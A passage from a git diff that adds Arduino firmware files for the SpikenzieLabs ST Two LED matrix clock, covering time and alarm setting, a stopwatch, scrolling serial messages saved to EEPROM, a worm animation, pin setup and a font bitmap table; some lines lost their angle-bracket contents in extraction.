I2C_TX(RTCDS1337,RTC_HOUR,temp); + + // --- + + } + + +} + + diff --git a/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino b/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino new file mode 100644 index 0000000..6ad2919 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino @@ -0,0 +1,1449 @@ +//******************************************************************************************************************* +// Helper - State incrementor +//******************************************************************************************************************* +// Increments the Main state to the next state upto MAXSTATE +// If you add more States increase MAXSTATE to match. + +void NextState() +{ + STATE = STATE + 1; + SUBSTATE = 0; + NextStateRequest = false; + if(STATE > MAXSTATE) + { + STATE = 0; + SUBSTATE = 0; + } +} + + +//******************************************************************************************************************* +// Beep the piezo +//******************************************************************************************************************* +// NOTE: the piezo uses the same pin as the SET Button input +// This routine switches the pin to an output during the beeping process +// (There is a current limited resistor on the board to prevent over current if the Set Button is pressed at +// the same time as the pin is driving the piezo.) + +void beepsound(int freq, int freqlenght) +{ + // freq was 4000 + // freqlenght was 100 + pinMode(SETBUTTON, OUTPUT); + tone(SETBUTTON,freq,freqlenght); + delay(freqlenght); + noTone(SETBUTTON); + digitalWrite(SETBUTTON, HIGH); + + #if ARDUINO >= 101 + pinMode(SETBUTTON, INPUT_PULLUP); +// digitalWrite(SETBUTTON, HIGH); + #else +// digitalWrite(SETBUTTON, HIGH); + pinMode(SETBUTTON, INPUT); + #endif + +} + +//******************************************************************************************************************* +// Display Time Routine +//******************************************************************************************************************* +void DisplayTimeSub() +{ + + if(NextStateRequest) + { + SUBSTATE =99; + } + + if(NextSUBStateRequest) + { + SUBSTATE = SUBSTATE +1; + if(SUBSTATE>4) + { + SUBSTATE =1; + } + NextSUBStateRequest = false; + } + + UpdateTime = UpdateTime + 1; + if(UpdateTime > 2000) + { + checktime(); + checkDate(); + UpdateTime = 0; + } + + + switch (SUBSTATE) + { + case 0: // Start Display Time + SUBSTATE = 1; + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + + checktime(); + checkDate(); + + if(!JustWokeUpFlag2) + { + displayString("Time"); + } + else + { + JustWokeUpFlag2 = false; + } + delay(250); + break; + + case 1: // Time + +// checktime(); + writeTime(HourTens, HourOnes, MinTens, MinOnes); + break; + + case 2: // Day + // checkDate(); + displayStringDay(Days -1); + break; + + case 3: // Month + // checkDate(); + displayMonth(MonthCode-1); + break; + + case 4: // Date + // checkDate(); + displayDate(); + delay(100); + break; + + case 5: // Year + + break; + + case 99: // Exit Display Time + + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// SET Time Routine +//******************************************************************************************************************* +void setTimeSub() +{ + + + switch (SUBSTATE) + { + case 0: // Start SET Time + clearmatrix(); + displayString("Set?"); + SUBSTATE = 1; + NextSUBStateRequest = false; + + + break; + + case 1: // Ask user if they want to set time + if(NextSUBStateRequest) + { + SUBSTATE = 2; + NextSUBStateRequest = false; + blinkFlag = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: // Minute + one + // displayString("----"); + blinkMin = true; + writeTime(HourTens, HourOnes, MinTens, MinOnes); + if(NextSUBStateRequest) + { + settimeNEW(1); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =3; + NextStateRequest = false; + } + break; + + case 3: // Hours + one + blinkHour = true; + writeTime(HourTens, HourOnes, MinTens, MinOnes); + if(NextSUBStateRequest) + { + settimeNEW(2); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkHour = false; + SUBSTATE =4; + NextStateRequest = false; + } + + break; + + case 4: // Day + one + displayStringDay(Days -1); + if(NextSUBStateRequest) + { + settimeNEW(3); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =5; + NextStateRequest = false; + } + + break; + + case 5: // Month + one + displayMonth(MonthCode-1); + if(NextSUBStateRequest) + { + settimeNEW(4); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =6; + NextStateRequest = false; + } + break; + + case 6: // Date + one + displayDate(); + if(NextSUBStateRequest) + { + settimeNEW(5); + NextSUBStateRequest = false; + } + if(NextStateRequest) + { + SUBSTATE =8; + NextStateRequest = false; + } + break; + + /* + case 7: // Year + one ** NOTE: not used + displayString("Year"); + + if(NextSUBStateRequest) + { + settimeNEW(6); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =8; + NextStateRequest = false; + } + break; + */ + + case 8: + NewTimeFormate = TH_Not24_flag; // Pre-set before toggle + SUBSTATE =9; + break; + + + case 9: // Select 12 or 24 hour clock + + if(NewTimeFormate) + { + displayString("12 h"); + } + else + { + displayString("24 h"); + } + + if(NextSUBStateRequest) + { + NewTimeFormate = !NewTimeFormate; + NextSUBStateRequest = false; + TwelveTwentyFourConvert(); + A_TH_Not24_flag = NewTimeFormate; + } + + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 99: // Exit Set Time + blinkFlag = false; + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// SET Alarm Routine +//******************************************************************************************************************* +void setAlarmSub() +{ + + + switch (SUBSTATE) + { + case 0: // Start SET Alarm + clearmatrix(); + displayString("ALM?"); + SUBSTATE = 1; + NextSUBStateRequest = false; + + + break; + + case 1: // Ask user if they want to set Alarm + if(NextSUBStateRequest) + { + // displayString("A ON"); + // delay(250); + // ALARMON = true; + SUBSTATE = 2; + NextSUBStateRequest = false; + blinkFlag = true; + } + + if(NextStateRequest) + { + // displayString("AOFF"); + // delay(500); + // EnableAlarm1(false); + // ALARMON = false; + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: + blinkMin = true; + writeTime(AHourTens, AHourOnes, AMinTens, AMinOnes); + if(NextSUBStateRequest) + { + setAlarm(1); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =3; + NextStateRequest = false; + } + break; + + case 3: + blinkHour = true; + writeTime(AHourTens, AHourOnes, AMinTens, AMinOnes); + if(NextSUBStateRequest) + { + setAlarm(2); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =4; + NextStateRequest = false; + // EnableAlarm1(true); + } + break; + + case 4: + if(ALARMON) + { +// displayString("A ON"); + displayGraphic(1,0,5); + displayGraphic(2,5,5); + displayGraphic(0,10,4); + displayGraphic(3,14,5); + } + else + { +// displayString("AOFF"); + displayGraphic(1,0,5); + displayGraphic(2,5,5); + displayGraphic(0,10,4); + displayGraphic(4,14,5); + } + + if(NextSUBStateRequest) + { + ALARMON = !ALARMON; + NextSUBStateRequest = false; + } + + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =99; + NextStateRequest = false; + if(ALARMON) + { + EnableAlarm1(true); + } + else + { + EnableAlarm1(false); + } + } + + break; + + case 99: // Exit Set Alarm + blinkFlag = false; + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// Stop Watch +//******************************************************************************************************************* +void StopWatch() +{ + + switch (SUBSTATE) + { + case 0: // Stop Watch Set-up + + + + OldTime = 0; + CurrentTime = 0; + TotalTime = 0; + SWDigit4 = 0; + SWDigit3 = 0; + SWDigit2 = 0; + SWDigit1 = 0; + + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + + SUBSTATE = 1; + NextSUBStateRequest = false; + displayString("Stop"); + delay(500); + + clearmatrix(); + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + break; + + case 1: // Waiting for "Start" button to be pressed + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 2; + NextSUBStateRequest = false; + SleepEnable = false; + currentMillis = millis(); + SleepTimer = currentMillis; // Using Long SleepTimer variable for timing not sleep + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: // Stop Watch Running + + // I2C_RX(RTCDS1337,RTC_SEC); + // CurrentTime =i2cData & B00001111; + currentMillis = millis(); + if((currentMillis - SleepTimer) >= 1000) + { + // OldTime = CurrentTime; + SleepTimer = currentMillis; + TotalTime = TotalTime + 1; + if(TotalTime > 5999) // Over 99 minutes can "not" be displayed (60seconds x 99 = 5940) + { + TotalTime = 0; + } + } + + // Convert Total Time to digits + SWMINUTES = TotalTime / 60; + SWSECONDS = TotalTime % 60; + + SWDigit4 = SWMINUTES / 10; + SWDigit3 = SWMINUTES % 10; + SWDigit2 = SWSECONDS / 10; + SWDigit1 = SWSECONDS % 10; + + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 1; + NextSUBStateRequest = false; + SleepEnable = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; + +/* +// Not using this RTC version since it seems too power hungery due to constant I2C polling + case 2: // Stop Watch Running + + I2C_RX(RTCDS1337,RTC_SEC); + CurrentTime =i2cData & B00001111; + if(CurrentTime != OldTime) + { + OldTime = CurrentTime; + TotalTime = TotalTime + 1; + if(TotalTime > 5940) // Over 99 minutes can "not" be displayed (60seconds x 99 = 5940) + { + TotalTime = 0; + } + } + + // Convert Total Time to digits + SWMINUTES = TotalTime / 60; + SWSECONDS = TotalTime % 60; + + SWDigit4 = SWMINUTES / 10; + SWDigit3 = SWMINUTES % 10; + SWDigit2 = SWSECONDS / 10; + SWDigit1 = SWSECONDS % 10; + + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 1; + NextSUBStateRequest = false; + SleepEnable = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; +*/ + case 99: // Exit Stop Watch Function + + NextState(); + clearmatrix(); + + SleepEnable = true; + + break; + } +} + +//******************************************************************************************************************* +// Display Serial Data +//******************************************************************************************************************* + +void DisplaySerialData() +{ + int temp =0; + switch (SUBSTATE) + { + + case 0: // Display Set-up + + ResetScrollMessage(); + + + NextSUBStateRequest = false; + NextStateRequest = false; + OptionModeFlag = false; + displayString("Text"); + delay(250); + + GETFROMEEPROM(); + if(IncomingMessIndex == 0 | IncomingMessIndex > 27) + { + MessagePointer = 0; + SUBSTATE =3; + char Str2[] = "SpikenzieLabs"; + for(int i =0; i <= sizeof(Str2); i ++) // Show default Scrolling message + { + IncomingMessage[i] = Str2[i]; + IncomingMessIndex = i; + } + + } + else + { + MessagePointer= 0; + SUBSTATE = 3; + SleepEnable = true; + } + + break; + + case 1: + if(NextSUBStateRequest) + { + ResetScrollMessage(); + + SUBSTATE = 2; + NextSUBStateRequest = false; + power_usart0_enable(); + Serial.begin(57600); + SleepEnable = false; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; + + // break; + + case 2: // Receive Serial + + clearmatrix(); + // LED MATRIX + // + // Port C: C0 to C3 set to high. Columns 17 to 20 of LED matrix - Cathode connection + PORTC = (PORTC & B11110000) | B00001111; + // Port B: Unselect the MUX chip + PORTB = (1<0) + { + MessageRead = Serial.read(); + + if(IncomingMessIndex<24) + { + IncomingMessage[IncomingMessIndex] = MessageRead; + // IncomingMessIndex = IncomingMessIndex + 1; + IncomingMessIndex++; + // IncomingMessage[IncomingMessIndex] = '\0'; + Serial.print(MessageRead); + } + } + + bval = !digitalRead(SETBUTTON); + if(!bval) + { + goto shortloop; + } + else + + { + Timer1.attachInterrupt(LEDupdateTWO); + + while(bval) + { + bval = !digitalRead(SETBUTTON); + } + delay(100); + } + + if(IncomingMessIndex == 0) + { + SUBSTATE = 99; + } + else + { + SUBSTATE = 3; + FILLEEPROM(); + OptionModeFlag = false; + + + } + SleepTimer = millis(); + SleepEnable = true; + Serial.end(); + power_usart0_disable(); + + break; + + case 3: + + for(int i = 0;i<=IncomingMessIndex-1;i ++) + { + TEXT = IncomingMessage[i]-32; + for(int y =0;y<5;y++) + { + Message[MessagePointer] = LETTERS[TEXT][y]; + MessagePointer = MessagePointer +1; + } + + Message[MessagePointer] = 0; // One space between words + MessagePointer = MessagePointer +1; + IncomingMax = MessagePointer; + } + + + for(int i = 0;i<20;i ++) // 20 spaces between phrases + { + Message[MessagePointer] = 0; + MessagePointer = MessagePointer +1; + IncomingMax = MessagePointer; + } + + SUBSTATE = 4; + ScrollLoops = 3; + SleepEnable = true; + + + break; + + // ================================================================================================== + + case 4: + + scrollCounter = scrollCounter +1; + if(scrollCounter>scrollSpeed) + { + + if(ScrollLoops > 0) + { + SleepTimer = millis(); + } + + IncomingIndex = StartWindow; + for(int i=0;i<20;i++) + { + LEDMAT[i] = Message[IncomingIndex]; + IncomingIndex = IncomingIndex + 1; + if(IncomingIndex>IncomingMax) + { + IncomingIndex = 0; // Rolled over end of message + // ScrollLoops = ScrollLoops - 1; // Used to extend number of messages to scroll before sleep mode reqctivated + } + } + StartWindow = StartWindow + 1; + if(StartWindow>IncomingMax) + { + StartWindow = 0; + ScrollLoops = ScrollLoops - 1; // Used to extend number of messages to scroll before sleep mode reqctivated + } + + scrollCounter= 0; + } + + if(NextSUBStateRequest) + { + scrollSpeed = scrollSpeed + 50; + if(scrollSpeed>400) + { + scrollSpeed = 100; + } + scrollCounter= 0; + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + if(OptionModeFlag) + { + SUBSTATE =1; + displayString("NEW?"); + delay(250); + } + break; + + case 99: // Exit Stop Watch Function + + Serial.end(); + power_usart0_disable(); + + NextState(); + clearmatrix(); + + SleepEnable = true; + + break; + } +} + +void ResetScrollMessage() +{ + + IncomingIndex = 0; + IncomingMax = 0; + MessagePointer = 0; + IncomingMessIndex =0; + StartWindow = 0; + IncomingLoaded = 0; + scrollCounter = 0; + + for(int i =0;i<275;i++) + { + Message[i] = 0; + } + + for(int i =0;i<24;i++) + { + IncomingMessage[i] = 0; + } +} + +//******************************************************************************************************************* +// Graphic Animation +//******************************************************************************************************************* +void graphican() +{ + + int temp =0; + // int rand = 0; + switch (SUBSTATE) + { + + case 0: + SUBSTATE =1; + scrollCounter = 0; + scrollSpeed = 200; + // soundeffect = false; + y = 3; + target = 1; + targdist = 0; + displayString("Worm"); + delay(250); + break; + + case 1: + + if(scrollCounter>scrollSpeed) + { + + c= c +1; + if(c>19) + { + c = 0; + } + // -- + + + if(NextSUBStateRequest) + { + target = target +1; + if(target> 3) + { + target = 0; + // targdir = false; + targdist = 0; + + } + NextSUBStateRequest = false; + } + + + if(targdir) + { // Going up + + if(targdist == target) + { + targdir = !targdir; + targdist = - target; + if(soundeffect) + { + beepsound(4000,10); + } + + } + else + { + targdist = targdist +1; + y = 3 - targdist; + } + } + else + { // Going Down + + if(targdist == target) + { + targdir = !targdir; + targdist = - target; + if(soundeffect) + { + beepsound(5000,10); + } + } + else + { + targdist = targdist +1; + y = 3 + targdist; + } + } + + + bitSet(temp, y); + + + // -- + LEDMAT[c] = temp; + if((c-wormlenght)<0) + { + LEDMAT[19-((wormlenght-1)-c)] = 0; + } + else + { + LEDMAT[c-wormlenght] = 0; + } + scrollCounter = 0; + } + + + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + if(OptionModeFlag) + { + soundeffect = !soundeffect; + } + + scrollCounter = scrollCounter +1; + break; + + + + case 99: // Exit Graphic Function + + NextState(); + clearmatrix(); + + break; + + } +} + +//******************************************************************************************************************* +// LED tester +//******************************************************************************************************************* + +void lamptest() +{ + + int lamptestspeed = 250; + clearmatrix(); + bval = !digitalRead(SETBUTTON); + if(bval) + { + do + { + // clearmatrix(); + for(int i = 0; i<20;i++) + { + for(int y = 0; y<8;y++) + { + bitSet(LEDMAT[i],y); + delay(lamptestspeed / 10); + bval = !digitalRead(SETBUTTON); + if(bval) + { + lamptestspeed = lamptestspeed -1; + if(lamptestspeed== 0) + { + lamptestspeed = 250; + } + } + } + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + break; + } + + delay(lamptestspeed); + LEDMAT[i] = 0; + delay(lamptestspeed / 5); + } + bval = !digitalRead(MODEBUTTON); + } + while(!bval); + } + } + + //******************************************************************************************************************* + // Read Message from EEPROM + //******************************************************************************************************************* + void GETFROMEEPROM() + { + int EEPadd; + IncomingMessIndex = EEPROM.read(0); + for(int EEPadd=1; EEPadd < 26; EEPadd++) + { + IncomingMessage[EEPadd-1] = EEPROM.read(EEPadd); + } + } + +//******************************************************************************************************************* +// Save changed Message to EEPROM +//******************************************************************************************************************* +void FILLEEPROM() // Normally only run once if EEPROM is clear +{ + int EEPadd; + EEPROM.write(0, IncomingMessIndex); // Holds the message lenght + + for(int EEPadd=1; EEPadd < IncomingMessIndex+1; EEPadd++) + { + + EEPROM.write(EEPadd, IncomingMessage[EEPadd-1]); + } + // EEPROM.write(25, 1); // 1 is just a number we selected to show EEPROM was writen +} + + +//******************************************************************************************************************* +// Output 4 Characters to Display +//******************************************************************************************************************* +void displayString(char outText[]) +{ + int cindex = 0; +// for (int i = 0; i < sizeof(Str1) - 1; i++){ + for (int i = 0; i < 4; i++){ + for(int y =0;y<5;y++) + { + TEXT = outText[i]-32; + LEDMAT[cindex] = LETTERS[TEXT][y]; + cindex = cindex +1; + } + } +} + +//******************************************************************************************************************* +// Output Custom Graphic to Display +//******************************************************************************************************************* +void displayGraphic(int index, int pos, int len) +{ + for(int y =0;y0;i--) + { + LEDMAT[i] = LEDMAT[i-1]; + } + LEDMAT[0] = temp; +} +*/ + +//******************************************************************************************************************* +// Clear LED Matrix +//******************************************************************************************************************* + +void clearmatrix() +{ + for(int i =0;i<20;i++) + { + LEDMAT[i] = 0; + } +} + + +//******************************************************************************************************************* +// Output single character to display +//******************************************************************************************************************* + +void filldigit(int dig, int index) // Where dig is 1 to 4 and index is position of character +{ + for(int y =0;y<5;y++) + { + LEDMAT[((dig-1)*5)+y] = LETTERS[index][y]; + } +} + +//******************************************************************************************************************* +// Fill LED Matrix with formatted time +//******************************************************************************************************************* +// Fills diplay with formated time +// Depending on postion of "1"s spacing is adjusted beween it and next digit +// Blinks if it settng mode +// displays AM/PM dot and Alarm on dot + +void writeTime(uint8_t dig1, uint8_t dig2, uint8_t dig3, uint8_t dig4) +{ + int currentdig = 4; + int y = 0; + int i = 18; + LEDMAT[19] = 0; +// LEDMAT[0] = 0; + + for( y =5;y>1;y--) + { + if(blinkON && (blinkMin)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig4+digitoffset][y-2]; + } + i = i -1; + } + // } + + if(dig3 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkMin)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; //LETTERS[dig3+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -3; + currentdig = 2; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkMin)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig3+digitoffset][y-2]; + } + i = i -1; + } + currentdig = 2; + } + // ADD Colon Here - S --------------------------------- + if((dig2 == 1) || (dig1 == 3)) + { + LEDMAT[i] = 0; + + LEDMAT[i-1] = 20; //LETTERS[26][3]; // the " : " + + LEDMAT[i-2] = 0; + i=i-3; + } + else + { + LEDMAT[i] = 20; //LETTERS[26][3]; // the " :" + LEDMAT[i-1] = 0; + i=i-2; + } + // ADD Colon Here - E --------------------------------- + + if(dig2 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkHour)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; //LETTERS[dig2+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -3; + currentdig = 1; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkHour)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig2+digitoffset][y-2]; + } + i = i -1; + } + currentdig = 1; + } + + if(dig1 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkHour)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; // LETTERS[dig1+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -2; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkHour)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig1+digitoffset][y-2]; + } + i = i -1; + } + // i = 0; + } + +// for(y= i+1; y>0;y--) // Clear any remaining columns + for(y= i+1; y>1;y--) // Clear any remaining columns, but not leftmost + { + LEDMAT[y-1] = 0; + } + +// LEDMAT[0] = 0; + AMPMALARMDOTS = 0; + + if(ALARMON && (STATE == 1)) // Alarm dot (top left) Do not display while setting alarm + { +// bitSet(LEDMAT[0],6); + bitSet(AMPMALARMDOTS,6); + } + + if(PM_NotAM_flag && (STATE == 1 | STATE == 2) && TH_Not24_flag) // AM / PM dot (bottom left) (Display or Set Time) + { +// bitSet(LEDMAT[0],0); + bitSet(AMPMALARMDOTS,0); + } + + if(A_PM_NotAM_flag && (STATE == 3) && TH_Not24_flag) // AM / PM dot (bottom left) (Set Alarm Time) + { +// bitSet(LEDMAT[0],0); + bitSet(AMPMALARMDOTS,0); + } + + LEDMAT[0] = AMPMALARMDOTS; + +} diff --git a/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino b/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino new file mode 100644 index 0000000..bce3851 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino @@ -0,0 +1,112 @@ +//******************************************************************************************************************* +// Setup +//******************************************************************************************************************* +void setup() +{ + + // Rows Digital pin 0 to 7 + // pinMode(0, OUTPUT); // Not used + // pinMode(1, OUTPUT); // Not used + + // User interface Button Pins + /* + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + pinMode(2, INPUT); + pinMode(3, INPUT); + */ + + #if ARDUINO >= 101 + pinMode(2, INPUT_PULLUP); + pinMode(3, INPUT_PULLUP); + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + #else + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + pinMode(2, INPUT); + pinMode(3, INPUT); + #endif + + // Column address bits 4 to 16 decode + pinMode(4, OUTPUT); // DeMux A + pinMode(5, OUTPUT); // DeMux B + pinMode(6, OUTPUT); // DeMux C + pinMode(7, OUTPUT); // DeMux D + + /* + // + pinMode(8, OUTPUT); // ROW 1 + pinMode(9, OUTPUT); // ROW 2 + pinMode(10, OUTPUT); // ROW 3 + pinMode(11, OUTPUT); // ROW 4 + pinMode(12, OUTPUT); // ROW 5 + pinMode(13, OUTPUT); // ROW 6 + + // Make these pins outputs (Was the crystal Pins) B6 = Row 7, B7 = demux select + DDRB = (1< +#include + +#include + +#include +#include +#include + +// Worm animation +int c =0; +int y = 3; +int target = 3; +int targdist =0; +boolean targdir = true; +int wormlenght = 15; +boolean soundeffect = false; + +// int i =0; +// int i2 =0; +// int vite = 2; +// uint8_t incro = 0; +// uint8_t column = 0; +uint8_t TEXT = 65; +uint8_t i2cData = 0; +// int nextcounter = 0; + +int STATE = 0; +int SUBSTATE = 0; +int MAXSTATE = 6; +boolean NextStateRequest = false; +boolean NextSUBStateRequest = false; +boolean JustWokeUpFlag = false; +boolean JustWokeUpFlag2= false; +boolean OptionModeFlag = false; + +int ROWBITINDEX = 0; +int scrollCounter =0; +int ScrollLoops = 3; +int scrollSpeed = 300; // was 1200 +int blinkCounter = 0; +boolean blinkFlag = false; +boolean blinkON = true; +boolean blinkHour = false; +boolean blinkMin = false; +#define blinkTime 500 // was 1000 + +boolean displayFLAG = true; + +unsigned long SleepTimer; +unsigned long currentMillis; +unsigned long SleepLimit = 6000; +boolean SleepEnable = true; +int UpdateTime = 0; + +#define BUTTON1 2 +#define MODEBUTTON 2 +#define BUTTON2 3 +#define SETBUTTON 3 +boolean bval = false; + +//char Str1[] = "Hi"; +char IncomingMessage[24]; +char MessageRead; +//uint8_t INBYTE; +uint8_t Message[275]; +int IncomingIndex = 0; +int IncomingMessIndex =0; +int IncomingMax = 0; +int MessagePointer = 0; +int StartWindow = 0; +int IncomingLoaded =0; + + +char days[7][4] = { + "Sun","Mon","Tue","Wed","Thr","Fri","Sat"}; +char months[12][4] = { + "Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"}; + +// Time Variables +uint8_t HourTens = 1; +uint8_t HourOnes = 2; +uint8_t MinTens = 0; +uint8_t MinOnes = 0; +uint8_t SecTens = 0; +uint8_t SecOnes = 0; + +uint8_t Days =1; +uint8_t DateOnes = 1; +uint8_t DateTens =0; +uint8_t MonthOnes =1; +uint8_t MonthTens = 1; +uint8_t YearsOnes = 2; +uint8_t YearsTens = 1; + +uint8_t DayCode =1; +uint8_t MonthCode =1; + + +boolean TH_Not24_flag = true; +boolean PM_NotAM_flag = false; +boolean NewTimeFormate = TH_Not24_flag; +uint8_t AMPMALARMDOTS = 0; + +// Alarm +uint8_t AHourTens = 1; +uint8_t AHourOnes = 2; +uint8_t AMinTens = 0; +uint8_t AMinOnes = 0; + +boolean A_TH_Not24_flag = true; +boolean A_PM_NotAM_flag = false; + +// StopWatch + int OldTime = 0; + int CurrentTime = 0; + int TotalTime = 0; + +uint8_t SWDigit4 = 0; +uint8_t SWDigit3 = 0; +uint8_t SWDigit2 = 0; +uint8_t SWDigit1 = 0; + +int SWMINUTES = 0; +int SWSECONDS = 0; + +int dayIndex = 0; + +//uint8_t SetDigit = 4; +//boolean MODEOVERRIDEFLAG = false; +boolean NextStateFlag = false; +boolean SetTimeFlag = false; +boolean ALARM1FLAG = false; +boolean ALARMON = false; + +boolean scrollDirFlag = false; + + +// +volatile uint8_t Mcolumn = 0; +//volatile uint8_t McolumnTemp = 0; +//volatile uint8_t Mrow = 0; +volatile uint8_t LEDMAT[20]; + +volatile boolean MINUP = false; +volatile boolean MINDOWN = false; +volatile boolean TFH = false; + +const int digitoffset = 95; // 95 // was 16 + + +// Constants +// DS1337+ Address locations +#define RTCDS1337 B01101000 // was B11010000 +#define RTCCONT B00001110 //; Control +#define RTCSTATUS B00001111 //; Status + +//#define RTC_HSEC B00000001 //; Hundredth of a secound +#define RTC_SEC B00000000 //; Seconds +#define RTC_MIN B00000001 //; Minuites +#define RTC_HOUR B00000010 //; Hours + +#define RTC_DAY B00000011 //; Day +#define RTC_DATE B00000100 //; Date +#define RTC_MONTH B00000101 //; Month +#define RTC_YEAR B00000110 //; Year + +#define RTC_ALARM1SEC B00000111 //; Seconds +#define RTC_ALARM1MIN B00001000 //; Minuites +#define RTC_ALARM1HOUR B00001001 //; Hours +#define RTC_ALARM1DATE B00001010 //; Date + + +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +// Bit Map Letter - data array +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +// const byte LETTERS[95][5] = { +const byte LETTERS[106][5] = { + 0,0,0,0,0, // Space + 0,0,95,0,0, // ! + 0,3,0,3,0, // " + 18,63,18,63,18, // # + 4,42,127,42,16, // $ + 34,21,42,84,34, // % + 54,73,81,34,80, // & + 0,0,3,0,0, // ' + 0,28,34,65,0, // ( + 0,65,34,28,0, // ( + 4,20,15,20,4, // * + 8,8,62,8,8, // + + 0,0,2,1,0, // ' (not sure) + 8,8,8,8,8, // - + 0,0,64,0,0, // . + 32,16,8,4,2, // / + + 62,65,65,65,62, // 0 + 64,66,127,64,64, // 1 + 98,81,73,73,70, // 2 + 34,65,73,73,54, // 3 + 7,8,8,127,8, // 4 + 47,73,73,73,49, // 5 + 62,73,73,73,50, // 6 + 65,33,17,9,7, // 7 + 54,73,73,73,54, // 8 + 6,9,9,9,126, // 9 + + 0,0,54,0,0, // : + 0,64,54,0,0, // ; + 8,20,34,65,0, // < + 20,20,20,20,20, // = + 0,65,34,20,8, // > + 6,1,81,9,6, // ? + 62,65,73,85,10, // @ + + 124,10,9,10,124, // A + 127,73,73,73,54, // B + 62,65,65,65,34, // C + 127,65,65,65,62, // D + 127,73,73,73,65, // E + 127,9,9,9,1, // F + 62,65,73,73,50, // G + 127,8,8,8,127, // H + 0,65,127,65,0, // I was 65,65,127,65,65, + 32,64,65,63,1, // J + 127,8,20,34,65, // K + 127,64,64,64,64, // L + 127,2,4,2,127, // M + 127,4,8,16,127, // N + 62,65,65,65,62, // O + 127,9,9,9,6, // P + 62,65,81,33,94, // Q + 127,9,25,41,70, // R + 38,73,73,73,50, // S + 1,1,127,1,1, // T + 63,64,64,64,63, // U + 31,32,64,32,31, // V + 63,64,48,64,63, // W + 99,20,8,20,99, // X + 3,4,120,4,3, // Y + 97,81,73,69,67, // Z + + 0,127,65,65,0, // [ + 2,4,8,16,32, // back slash + 0,65,65,127,0, // ] + 0,2,1,2,0, // ^ + 128,128,128,128,128, // _ + 0,0,1,2,0, // ` + + 112,72,72,40,120, // a + 126,48,72,72,48, // b + 48,72,72,72,72, // c + 48,72,72,48,126, // d + 56,84,84,84,88, // e + 0,8,124,10,0, // f + 36,74,74,74,60, // g + 126,8,8,8,112, // h + 0,0,122,0,0, // i + 32,64,66,62,2, // j + 124,16,16,40,68, // k + 0,124,64,64,0, // l + 120,4,120,4,120, // m + 124,8,4,4,120, // n + 48,72,72,72,48, // 